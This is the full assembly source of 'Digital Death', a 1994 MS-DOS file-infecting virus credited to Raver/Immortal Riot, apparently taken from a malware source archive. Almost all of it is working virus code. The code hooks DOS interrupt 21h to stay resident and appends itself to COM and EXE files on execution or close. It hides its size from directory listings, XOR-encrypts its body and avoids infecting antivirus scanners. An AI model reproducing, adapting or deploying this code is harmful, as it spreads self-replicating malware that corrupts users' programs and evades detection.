MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.digdeath.asm
2021-01-12 17:41:47 -06:00

527 lines
15 KiB
NASM

; ------------------------------------------------------------------------------
;
; - Digital Death -
; Created by Immortal Riot's destructive development team
; (c) 1994 Raver/Immortal Riot
;
;-------------------------------------------------------------------------------
; þ Memory Resident Stealth Infector of COM/EXE programs þ
;-------------------------------------------------------------------------------
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; DIGITAL DEATH - ver 0.90á
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
cseg segment byte public 'code'
assume cs:cseg, ds:cseg
org 100h
vir_size equ end_of_virus-start_of_virus
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Non-resident Install code
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
start_of_virus:
call get_delta
get_delta: ;get the delta offset
mov di,sp
mov bp,word ptr ss:[di]
sub bp,offset get_delta
push cs
pop ds
call encrypt_decrypt ;decrypt virus
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Start of encrypted area
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
install_code:
mov ax,es ;restore segments now due to prefetch!!
add ax,10h
add word ptr cs:[bp+EXEret+2],ax
add word ptr cs:[bp+EXEstack],ax
push es
mov ax,7979h ;check if already in mem
int 21h
cmp ax,'iR'
je already_resident
mov ah,4ah ;get #of available paragraphs in bx
mov bx,0ffffh
int 21h
sub bx,(vir_size+15)/16+1 ;recalculate and
mov ah,4ah
int 21h
mov ah,48h ;allocate enough mem for virus
mov bx,(vir_size+15)/16
int 21h
jc already_resident ;exit if error
dec ax ;ax-1 = MCB
mov es,ax
mov word ptr es:[1],8 ;Mark DOS as owner
push ax ;save for later use
mov ax,3521h ;get interrupt vector for int21h
int 21h
mov word ptr ds:[OldInt21h],bx
mov word ptr ds:[OldInt21h+2],es
pop ax ;ax = MCB for allocated mem
push cs
pop ds
cld ;cld for movsw
sub ax,0fh ;es:[100h] = start of allocated mem
mov es,ax
mov di,100h
lea si,[bp+offset start_of_virus]
mov cx,(vir_size+1)/2 ;copy entire virii to mem
rep movsw
push es
pop ds
mov dx,offset new_int21h ;hook int21h to new_int21h
mov ax,2521h
int 21h
already_resident:
push cs
push cs
pop es
pop ds
cmp byte ptr [bp+COMflag],1 ;check if COM or EXE
jne exit_EXE
exit_COM: ;exit procedure for COMs
mov di,100h
lea si,[bp+COMret]
mov cx,3
rep movsb ;restore first three bytes
pop es ;and jmp to beginning
mov ax,100h
jmp ax
exit_EXE: ;exit procedure for EXEs
pop es
mov ax,es ;restore segment regs and ss:sp
mov ds,ax
cli
mov ss,word ptr cs:[bp+EXEstack]
mov sp,word ptr cs:[bp+EXEstack+2]
sti
db 0eah ;and jmp to cs:ip
EXEret db 0,0,0,0
EXEstack dd 0
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; New int 21h handler
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
new_int21h:
cmp ax,7979h ;return installation check
jne continue
mov ax,'iR'
iret
continue:
cmp ax,4b00h ;check for exec?
jne check_dir
jmp infect
check_dir:
cmp ah,11h ;if dir function 11h, 12h
je hide_dir
cmp ah,12h
je hide_dir
cmp ah,4eh ;or function 4eh, 4fh
je hide_dir2
cmp ah,4fh
je hide_dir2 ;do some dir stealth
cmp ah,3eh ;check for close
jne do_oldint
jmp infect_close
do_oldint:
jmp do_oldint21h ;else do original int 21h
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Dir stealth routines
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
hide_dir: ;FCB stealth routine
pushf ;simulate a int call with pushf
push cs ;and cs, ip on the stack
call do_oldint21h
or al,al ;was the dir call sucessfull??
jnz skip_dir ;if not skip it
push ax bx es ;preserve registers in use
mov ah,62h ;same as 51h - get current PSP to es:bx
int 21h
mov es,bx
cmp bx,es:[16h] ;is the PSP ok??
jnz bad_psp ;if not quit
mov bx,dx
mov al,[bx] ;al holds current drive - FFh means
push ax ;extended FCB
mov ah,2fh ;get DTA-area
int 21h
pop ax
inc al ;is it an extended FCB
jnz no_ext
add bx,7 ;if so add 7
no_ext:
mov al,byte ptr es:[bx+17h] ;get seconds field
and al,1fh
xor al,1dh ;is the file infected??
jnz no_stealth ;if not - don't hide size
cmp word ptr es:[bx+1dh],vir_size ;if size is smaller than vir_size
ja hide_it
cmp word ptr es:[bx+1fh],0 ;it can't be infected
je no_stealth ;so don't hide it
hide_it:
sub word ptr es:[bx+1dh],vir_size ;else sub vir_size
sbb word ptr es:[bx+1fh],0
no_stealth:
bad_psp:
pop es bx ax ;restore regs
skip_dir:
iret ;return to program
hide_dir2:
pushf ;simulate a int call - push flags, cs and
push cs ;ip on stack and jump to int handler
call do_oldint21h
jc eofs ;if no more files - return
push ax es bx ;preserve registers
mov ah,2fh ;get DTA-area
int 21h
mov ax,es:[bx+16h]
and ax,1fh ;is the PSP ok??
xor al,29
jnz not_inf ; if not - jmp
cmp word ptr es:[bx+1ah],vir_size ;don't sub too small files
ja sub_it
cmp word ptr es:[bx+1ch],0
je not_inf
sub_it:
sub word ptr es:[bx+1ah],vir_size ;sub vir_size
sbb word ptr es:[bx+1ch],0
not_inf:
pop bx es ax ;restore registers
eofs:
retf 2 ;return and pop 2 of stack
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Infect on close routine
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
infect_close:
push es bp ax bx cx si di ds dx
cmp bx,4 ;don't close NULL, AUX and so
jbe no_close
call check_name ;es:di points to file name
add di,8 ;es:di points to extension
cmp word ptr es:[di],'OC'
jne try_again
cmp byte ptr es:[di+2],'M' ;if COM or EXE - infect
je close_infection
try_again:
cmp word ptr es:[di],'XE'
jne no_close
cmp byte ptr es:[di+2],'E'
je close_infection
no_close:
pop dx ds di si cx bx ax bp es ;otherwise jmp to oldint
jmp do_oldint21h
close_infection:
mov byte ptr es:[di-26h],2 ;mark read & write access
mov cs:Closeflag,1 ;raise closeflag for exit procedure
mov ax,4200h ;rewind file
xor cx,cx
cwd
int 21h
jmp infect_on_close ;infect it
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Determine file name for open handle
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
check_name:
push bx
mov ax,1220h ;get job file table for handle at es:di
int 2fh
mov ax,1216h ;get system file table
mov bl,byte ptr es:[di] ;for handle index in bx
int 2fh
pop bx
add di,20h ;es:di+20h points to file name
ret ;return
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Infection routine
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
infect:
push es bp ax bx cx si di ds dx
mov cs:Closeflag,0 ;make sure closeflag is off
mov ax,4300h ;get attrib
int 21h
push cx
mov ax,4301h ;and clear attrib
xor cx,cx
int 21h
mov ax,3d02h ;open file
int 21h
xchg ax,bx
infect_on_close: ;entry point if infection at close
push cs
push cs
pop ds
pop es
mov ax,5700h ;save and check time/date stamp
int 21h
push dx
push cx
and cl,1fh
xor cl,1dh
jne read_it
jmp skip_infect
read_it:
mov ah,3fh ;read first 18h bytes
mov cx,18h
mov dx,offset EXEheader ;to EXEheader
int 21h
mov byte ptr COMflag,0 ;check if EXE or COM and mark COMflag
cmp word ptr EXEheader,'ZM'
je is_EXE
cmp word ptr EXEheader,'MZ'
je is_EXE
mov byte ptr COMflag,1
is_EXE:
mov ax,4202h ;goto end of file
xor cx,cx
cwd
int 21h
push ax ;else save ax and infect EXE
push es
call check_name
cmp COMflag,1 ;if COM file continue to infect_COM
je infect_COM
infect_EXE:
cmp word ptr es:[di],'CS' ;check for common virus scanners
je is_scanner
cmp word ptr es:[di],'BT'
je is_scanner
cmp word ptr es:[di],'-F'
je is_scanner
cmp word ptr es:[di],'OT'
je is_scanner
cmp word ptr es:[di],'IV'
jne no_scanner
is_scanner:
pop es
jmp skip_infect
no_scanner:
pop es
mov di,offset EXEret ;EXEret = IP/CS
mov si,offset EXEheader+14h
mov cx,2
rep movsw
mov si,offset EXEheader+0eh ;EXEstack = SS/SP
mov cx,2
rep movsw
pop ax ;restore ax and
mov cx,10h
div cx
sub ax,word ptr [EXEheader+8h]
mov word ptr [EXEheader+14h],dx ;calculate CS:IP
mov word ptr [EXEheader+16h],ax
add ax,100
mov word ptr [EXEheader+0eh],ax ;SS:SP
mov word ptr [EXEheader+10h],100h
jmp short more_infection
infect_COM:
cmp word ptr es:[di],'OC' ;dont infect command.com!
pop es
pop ax
jne no_command_com
jmp skip_infect
no_command_com:
mov di,offset COMret ;transfer first three bytes
mov si,offset EXEheader ;could remove this and transfer
mov cx,3 ;directly from EXEheader instead
rep movsb ;doing so will save approximately 20 bytes
sub ax,3 ;subtract three from file length
mov byte ptr [EXEheader],0e9h ;and build initial jump
mov word ptr [EXEheader+1],ax
more_infection:
mov ah,2ch ;get random number from time
int 21h
mov word ptr ds:[enc_val],dx ;store it
mov ax,08d00h
mov es,ax
mov di,100h
mov si,di
mov cx,(vir_size+1)/2
rep movsw
push es
pop ds
xor bp,bp
call encrypt_decrypt ;and encrypt
mov ah,40h ;write it to file
mov cx,vir_size
mov dx,offset start_of_virus
int 21h
push cs
pop ds
cmp byte ptr COMflag,0 ;if COM file skip the next part
jne goto_start
mov ax,4202h ;go to end of file
xor cx,cx
cwd
int 21h
mov cx,512 ;recalculate new file length in 512-
div cx ;byte pages
inc ax
mov word ptr [EXEheader+2],dx
mov word ptr [EXEheader+4],ax
goto_start:
mov ax,4200h ;go to beginning of file
xor cx,cx
cwd
int 21h
cmp byte ptr [COMflag],1 ;if COM-file write first three bytes
je write_3
mov cx,18h ;else write whole EXE header
jmp short write_18h
write_3:
mov cx,3
write_18h:
mov dx,offset EXEheader
mov ah,40h
int 21h
skip_infect: ;restore time/date and mark infected
mov ax,5701h
pop cx
pop dx
or cl,00011101b
and cl,11111101b
int 21h
cmp byte ptr cs:[Closeflag],1 ;if infection on close - don't close file
je dont_close
mov ah,3eh
int 21h
pop cx
dont_close:
pop dx
pop ds
cmp byte ptr cs:[Closeflag],1 ;and don't restore attrib
je exit_close
mov ax,4301h
int 21h
exit_close:
mov byte ptr cs:Closeflag,0 ;unmark infection on close
pop di si cx bx ax bp es
do_oldint21h: ;jump to old int21h
db 0eah
OldInt21h dd 0
Closeflag db 0
COMflag db 1
COMret db 0cdh,20h,00h
EXEheader db 18h dup(0)
signature db "Digital Death - v0.90á (c) '94 Raver/Immortal Riot"
end_of_encryption:
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; End of encryption - the code below this point is unencrypted
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
enc_val dw 0 ;value to en/decrypt with
encrypt_decrypt:
mov dx,word ptr ds:[bp+enc_val]
lea si,[bp+install_code]
mov cx,(end_of_encryption-install_code)/2
loopy:
xor word ptr ds:[si],dx ;simple ordinary xor-loop
inc si ;encryption
inc si
loop loopy
ret
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; End of virus
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
end_of_virus:
cseg ends
end start_of_virus